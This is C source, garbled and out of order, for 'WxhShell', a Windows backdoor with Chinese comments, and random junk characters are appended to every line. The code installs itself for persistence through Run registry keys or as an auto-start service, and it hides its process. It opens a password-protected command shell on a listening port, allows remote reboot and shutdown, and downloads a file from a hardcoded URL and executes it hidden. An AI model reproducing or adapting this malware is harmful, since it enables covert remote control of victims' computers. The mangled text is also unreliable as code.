DWORD AffinityMask; v!KJ|c@m
DWORD BasePriority; }Q;BQ2[
ULONG UniqueProcessId; G}q<{<+$
ULONG InheritedFromUniqueProcessId; q55M8B 4w
} PROCESS_BASIC_INFORMATION;
\eT/ %$
3wo'jOb
PROCNTQSIP NtQueryInformationProcess; nAvs~J
Yu;9&b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
.=CH!{j
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :^5>wDu{
#XfT1
HANDLE hProcess; lm!FM`m
PROCESS_BASIC_INFORMATION pbi; ]h0Y8kpd
|lY`9-M`I
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z) t{JHm:
if(NULL == hInst ) return 0; #:Xa'D+
Z]7tjRvq)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _V&x`ks
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *cPN\Iu.W
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yduuFK
wZ
O@J|
if (!NtQueryInformationProcess) return 0; ^t7_3%%w
7<vy;"wB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,k\/]9
if(!hProcess) return 0; t)KPp|&
,,7.=#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l*qk1H"g
w~p4S+k&
CloseHandle(hProcess); sc9]sIb
OFp#<o,p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :|Upx4]Ec
if(hProcess==NULL) return 0; 4':MI|/my_
DgVyy&7>
HMODULE hMod; k}#@8n|b
char procName[255]; N7a[B>+`
unsigned long cbNeeded; 51z /
3#B@83C0Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k 5t{
'Z y{mq\
CloseHandle(hProcess); ~RAzFLt6x
$Q=$?>4U
if(strstr(procName,"services")) return 1; // 以服务启动 :ET x*c
8pd&3G+
return 0; // 注册表启动 k~& o
} *XHj)DC;
50COL66:7
// 主模块 J#+Op/mmo
int StartWxhshell(LPSTR lpCmdLine) *Q0lC1GQ
{ $G)&J2zL
SOCKET wsl; xS-w\vbLV
BOOL val=TRUE; b#e]1Q
int port=0; @PKAz&0
struct sockaddr_in door; vu44 !c@
UC.8DaIPN
if(wscfg.ws_autoins) Install(); DhHtz.6
N-Qu/,~+
port=atoi(lpCmdLine); x4@MO|C
Cy]"
if(port<=0) port=wscfg.ws_port; a$A2IkD
xJ$Rs/9C
WSADATA data; haN"/C^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B5D3_iX]
9#ZzE/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :J<Owh@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
8 qn{
door.sin_family = AF_INET; g~eJ
YS,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %s]U@Ku(a
door.sin_port = htons(port); dP?nP(l
*q+oeAYX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ct-rD79l
closesocket(wsl); N!]PIWnC
return 1; ,nI_8r"M>
} \A` gK\/h
:{x!g6bK@
if(listen(wsl,2) == INVALID_SOCKET) { kBQ5]Q"
closesocket(wsl); C+DG+_%V*S
return 1; ',:3>{9
} BDWim`DK"
Wxhshell(wsl); pHigxeV2
WSACleanup(); u<$S>
/5&3WG&<u
return 0; o7m99(
| pF5`dX
} 7k.d|<mRv
?.]o_L_K
// 以NT服务方式启动 i-|/2I9 %
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,xm;JXJ
{ )-MA!\=<
DWORD status = 0; }_Tt1iai*
DWORD specificError = 0xfffffff; Iv Y,9D
-$'~;O3s
serviceStatus.dwServiceType = SERVICE_WIN32; 3csm`JVK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M-{b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vd2uD2%con
serviceStatus.dwWin32ExitCode = 0; Q@PJ)fwN
serviceStatus.dwServiceSpecificExitCode = 0; oH!$eAU?
serviceStatus.dwCheckPoint = 0; `i"$*4#<
serviceStatus.dwWaitHint = 0; #FrwfJOV
C3&17O6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H(
if (hServiceStatusHandle==0) return; =1%zI%
iK$Vd+Lgc
status = GetLastError(); F<6KaZ|
if (status!=NO_ERROR) &*Q|d*CP
{ aeN}hG
serviceStatus.dwCurrentState = SERVICE_STOPPED;
{JCSR2BB
serviceStatus.dwCheckPoint = 0; 67Af} >Q
serviceStatus.dwWaitHint = 0; vo:52tCk}m
serviceStatus.dwWin32ExitCode = status; ]2hF!{wc
serviceStatus.dwServiceSpecificExitCode = specificError; <B|n<R<?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w`H.ey
return; /vFxVBX
} =NVZ$K OZ
T4%i`<i
serviceStatus.dwCurrentState = SERVICE_RUNNING; EuR!yD
serviceStatus.dwCheckPoint = 0; eO|^Lu]+
serviceStatus.dwWaitHint = 0; @d8&3@{R^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |G`4"``]k
} f;@b
a[
"1gk-
// 处理NT服务事件,比如:启动、停止 >Hd~Ca>
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~frPV8^DP
{ `dG.L
switch(fdwControl) a'*5PaXU@/
{ l<0[ K(
case SERVICE_CONTROL_STOP: )A>U<n $h
serviceStatus.dwWin32ExitCode = 0; Zi[{\7a
serviceStatus.dwCurrentState = SERVICE_STOPPED; wiK@o$S-
serviceStatus.dwCheckPoint = 0; lOowMlf@2
serviceStatus.dwWaitHint = 0; W TXD4}
{ ZNL;8sI?>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *@$($<pY&
} #z-iL!?
return; V7KtbL#
case SERVICE_CONTROL_PAUSE: =F^->e0N
serviceStatus.dwCurrentState = SERVICE_PAUSED; (Fbm9(q$d
break; } K+Q9<~u
case SERVICE_CONTROL_CONTINUE: hJ$C%1;
serviceStatus.dwCurrentState = SERVICE_RUNNING; jm#F*F vL
break; Q G=-LXv:@
case SERVICE_CONTROL_INTERROGATE: ,q'gG`M
N
break; eMpEFY
}; g%fJyk'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B
$ y44
} R:pBbA7E
qH{8n`
// 标准应用程序主函数 -Y
6.?z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8JjU 9#
{ Oo3qiw
_.Z&<.lJ
// 获取操作系统版本 <'o 'H
OsIsNt=GetOsVer(); %z!d4J75
GetModuleFileName(NULL,ExeFile,MAX_PATH); {"gyXDE1
Xn
ZX *Y]"
// 从命令行安装 7(+OsE
if(strpbrk(lpCmdLine,"iI")) Install(); e GqvnNv
'5OVs:)"^
// 下载执行文件 lD;,I^Lt6
if(wscfg.ws_downexe) { x|,aV=$o
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `ykMh>*{
WinExec(wscfg.ws_filenam,SW_HIDE); C-:SQf
} 1O'* X
*$4A|EA V
if(!OsIsNt) { k_En_\c?p2
// 如果时win9x,隐藏进程并且设置为注册表启动 >H=Q$gI
HideProc(); %1 VNP(E
StartWxhshell(lpCmdLine); >zfZw"mEP
} xi1N?
pP
else -!bLMLIg
if(StartFromService()) b*6c.o
// 以服务方式启动 0Z1H6qn
StartServiceCtrlDispatcher(DispatchTable); "M5ro$qZ}
else 0c\|S>g[
// 普通方式启动 ]\os`At
StartWxhshell(lpCmdLine); :>er^\
\0^r J1*
return 0; t7*H8
} Hq"<vp
_A~~L6C
v,!Y=8~9
s:m<(8WRw
=========================================== tsSS31cv
K+`-[v5\
!rsqr32]
QE{;M
dPyBY]`
z7.C\l
" v{rK_jq
MLv.v&@S
#include <stdio.h> VT.{[Kl
#include <string.h> 8H%I|fm
#include <windows.h> g_Dt} !A\B
#include <winsock2.h> thZ@BrO#
#include <winsvc.h> d'x<F[`O
#include <urlmon.h> x4HMT/@AG2
Edn$0D68u_
#pragma comment (lib, "Ws2_32.lib") G(|(y=ck
#pragma comment (lib, "urlmon.lib") EkB6- nz
n%MYX'0
#define MAX_USER 100 // 最大客户端连接数 !EmR (x
#define BUF_SOCK 200 // sock buffer \dxW44sM
#define KEY_BUFF 255 // 输入 buffer pD}VB6=
.5[LQR
#define REBOOT 0 // 重启 ! MF"e|W
#define SHUTDOWN 1 // 关机 2cX"#."5p
O.up%'%,
#define DEF_PORT 5000 // 监听端口 HBga'xJ
Sfr\%Buv
#define REG_LEN 16 // 注册表键长度 lJ>QTZH!wW
#define SVC_LEN 80 // NT服务名长度 `6S=KRv
<cfH'~
// 从dll定义API j2{,1h j
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l]klV+9t
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bg+]_:<U
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s=%+o&B
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XdIVMXLL\
^s(X VVA
// wxhshell配置信息 B 1ZHV^
struct WSCFG { 4M<JfD
int ws_port; // 监听端口 m|cWX"#g
char ws_passstr[REG_LEN]; // 口令 b\|p
int ws_autoins; // 安装标记, 1=yes 0=no "/K&qj
char ws_regname[REG_LEN]; // 注册表键名 w<F;&';@h
char ws_svcname[REG_LEN]; // 服务名 )zLS,/pk^
char ws_svcdisp[SVC_LEN]; // 服务显示名 f w>Gx9
char ws_svcdesc[SVC_LEN]; // 服务描述信息 M_.,c Vk
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }$k`[ivBx(
int ws_downexe; // 下载执行标记, 1=yes 0=no eze(>0\f
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fe9& V2Uu
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I }W-5%
KutgW#+40
}; :
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I9G*iu=U
// default Wxhshell configuration /&!d
struct WSCFG wscfg={DEF_PORT, ZEyGqCf3
"xuhuanlingzhe", R#Nd|f<
1, oQjB&0k4
"Wxhshell", &_^*rD~
"Wxhshell", @Jn:!8U0
"WxhShell Service", w KMk|y>
"Wrsky Windows CmdShell Service", y[5P<:&s
"Please Input Your Password: ", Ccd7|L1
1, vyx\N{
"http://www.wrsky.com/wxhshell.exe", Lv5
==w}
"Wxhshell.exe" 0qd;'r<
}; n\ ',F
J)yy}[Fx
// 消息定义模块 lbuW*)
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =UKR<@QrK
char *msg_ws_prompt="\n\r? for help\n\r#>"; .gkPG'm[
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AoOG[to7
char *msg_ws_ext="\n\rExit."; SnF[mN'
char *msg_ws_end="\n\rQuit."; _Il9s#NA%
char *msg_ws_boot="\n\rReboot..."; *I1W+W`G
char *msg_ws_poff="\n\rShutdown..."; e%v4,8
char *msg_ws_down="\n\rSave to "; UV8r&O
8W<)c
char *msg_ws_err="\n\rErr!"; &'ETx"
char *msg_ws_ok="\n\rOK!"; QKaj4?p$|S
ut5!2t$c
char ExeFile[MAX_PATH]; 6ewOZ,"j"4
int nUser = 0; a&c#* 9t{
HANDLE handles[MAX_USER]; [11-`v0
int OsIsNt; A%w]~ chC9
}:D~yEP
SERVICE_STATUS serviceStatus; Z
a1|fB
SERVICE_STATUS_HANDLE hServiceStatusHandle; gsR9M%mv
y=qo-v59'
// 函数声明 n]fbV/ x
int Install(void); ]GRq
int Uninstall(void); DUliU8B}\
int DownloadFile(char *sURL, SOCKET wsh); -r'seb5
int Boot(int flag); ~S_IU">E
void HideProc(void); (cA|N0
int GetOsVer(void); L(n~@gq
int Wxhshell(SOCKET wsl); Jx>B %vZ\
void TalkWithClient(void *cs); pD6g+Taj
int CmdShell(SOCKET sock); m^x\@!N:(
int StartFromService(void); q.b4m 'J
int StartWxhshell(LPSTR lpCmdLine); PXu<4VF
g!Yh=kA'N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pfQZ|*>lkb
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *|#JFy?c[
/Vd#q)b%T
// 数据结构和表定义 K2MNaB
SERVICE_TABLE_ENTRY DispatchTable[] = iEgM~
{ -+_aL4.
{wscfg.ws_svcname, NTServiceMain},
-Fc#
{NULL, NULL} Z#:@M[HH{
}; m'"VuH?^
p'!,F; xX
// 自我安装 6')SJ*|yS
int Install(void) @>nk^l
{ M-K@n$k
char svExeFile[MAX_PATH]; bnY8.Lpf|
HKEY key; cB F%])!
strcpy(svExeFile,ExeFile); @#Uiy5N
I_I;.Ik
// 如果是win9x系统,修改注册表设为自启动 {ro!OuA
if(!OsIsNt) { V;]VwsZ"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `&[:!U2]F
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [*ovYpj^
RegCloseKey(key); UVmyOC[Y{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d?y\~<
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d#:J\2V"R
RegCloseKey(key); SWO!E
return 0; Afhx`J1KO
} yx;R#8;b.
} UkbQ'P+oS
} R/cq00g
else { Jd2Y)
UXB8sS*wQ?
// 如果是NT以上系统,安装为系统服务 JU \J
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |=}~>!!
if (schSCManager!=0) $<%
nt
{ -t'oW*kdL
SC_HANDLE schService = CreateService vk+%#w
( ZjW| qb
schSCManager, !enz05VW6.
wscfg.ws_svcname, (IHBib "
wscfg.ws_svcdisp, il%tu<E#J~
SERVICE_ALL_ACCESS, !;C(pnE
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R{A/+7!
SERVICE_AUTO_START, ,vw`YKg
SERVICE_ERROR_NORMAL, gL"Q.ybA
svExeFile, #&KE_n
NULL, )mVYqlU"
NULL, >t2)Z|1
NULL, c!wB'~MS#
NULL, !
e,(Zz5
NULL s:F+bG}|
); L=!kDU
if (schService!=0) QGG(I7{-
{ 3CuoBb8
CloseServiceHandle(schService); .+o>
CloseServiceHandle(schSCManager); S,v >*AF
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8B+^vF
strcat(svExeFile,wscfg.ws_svcname); V*uu:
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t
U=b~
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }eFUw
RegCloseKey(key); ?o5#Ve$-X
return 0; @@mW+16
} \#7%%>p=O'
} Riuv@i^6K
CloseServiceHandle(schSCManager); 6;XpLivP7
} y/VmjsN}
} 7$P(1D4
M|=$~@9#X
return 1; Nh/ArugP5P
} 9],"AjD
vbh#[,lh
// 自我卸载 TEZqAR]G
int Uninstall(void) <[l}^`IC^4
{ ]JuB6o_L
HKEY key; z( [ $,e\
l8us6
if(!OsIsNt) { EoWzHa
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VZ@@j[F(
RegDeleteValue(key,wscfg.ws_regname); ;QD;5
<1
RegCloseKey(key); sn`?Foh
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1+c(G?Ava
RegDeleteValue(key,wscfg.ws_regname); *]?YvY
RegCloseKey(key); }mZ*f y0t
return 0; 5{aQ4H>~tx
} 4GA-dtyV&
} c}s3c
>`d
}
|sM#g1D@
else { [N+ruc?)
:S6 <v0`Z
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vJ}
if (schSCManager!=0) vz5RS
{ Cms"OkN
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8^i,M^f^{
if (schService!=0) S9055`v5
{ )X$n'E
if(DeleteService(schService)!=0) { ^qr[?ky]&
CloseServiceHandle(schService); tO3B_zC
CloseServiceHandle(schSCManager); "z4E|s
return 0; yE{UV>ry
} UpBYL?+L
CloseServiceHandle(schService); RVy 87_J1
} 481u1
CloseServiceHandle(schSCManager); NZ9,9
} k
rjd:*E
} w`f~Ht{wYR
!&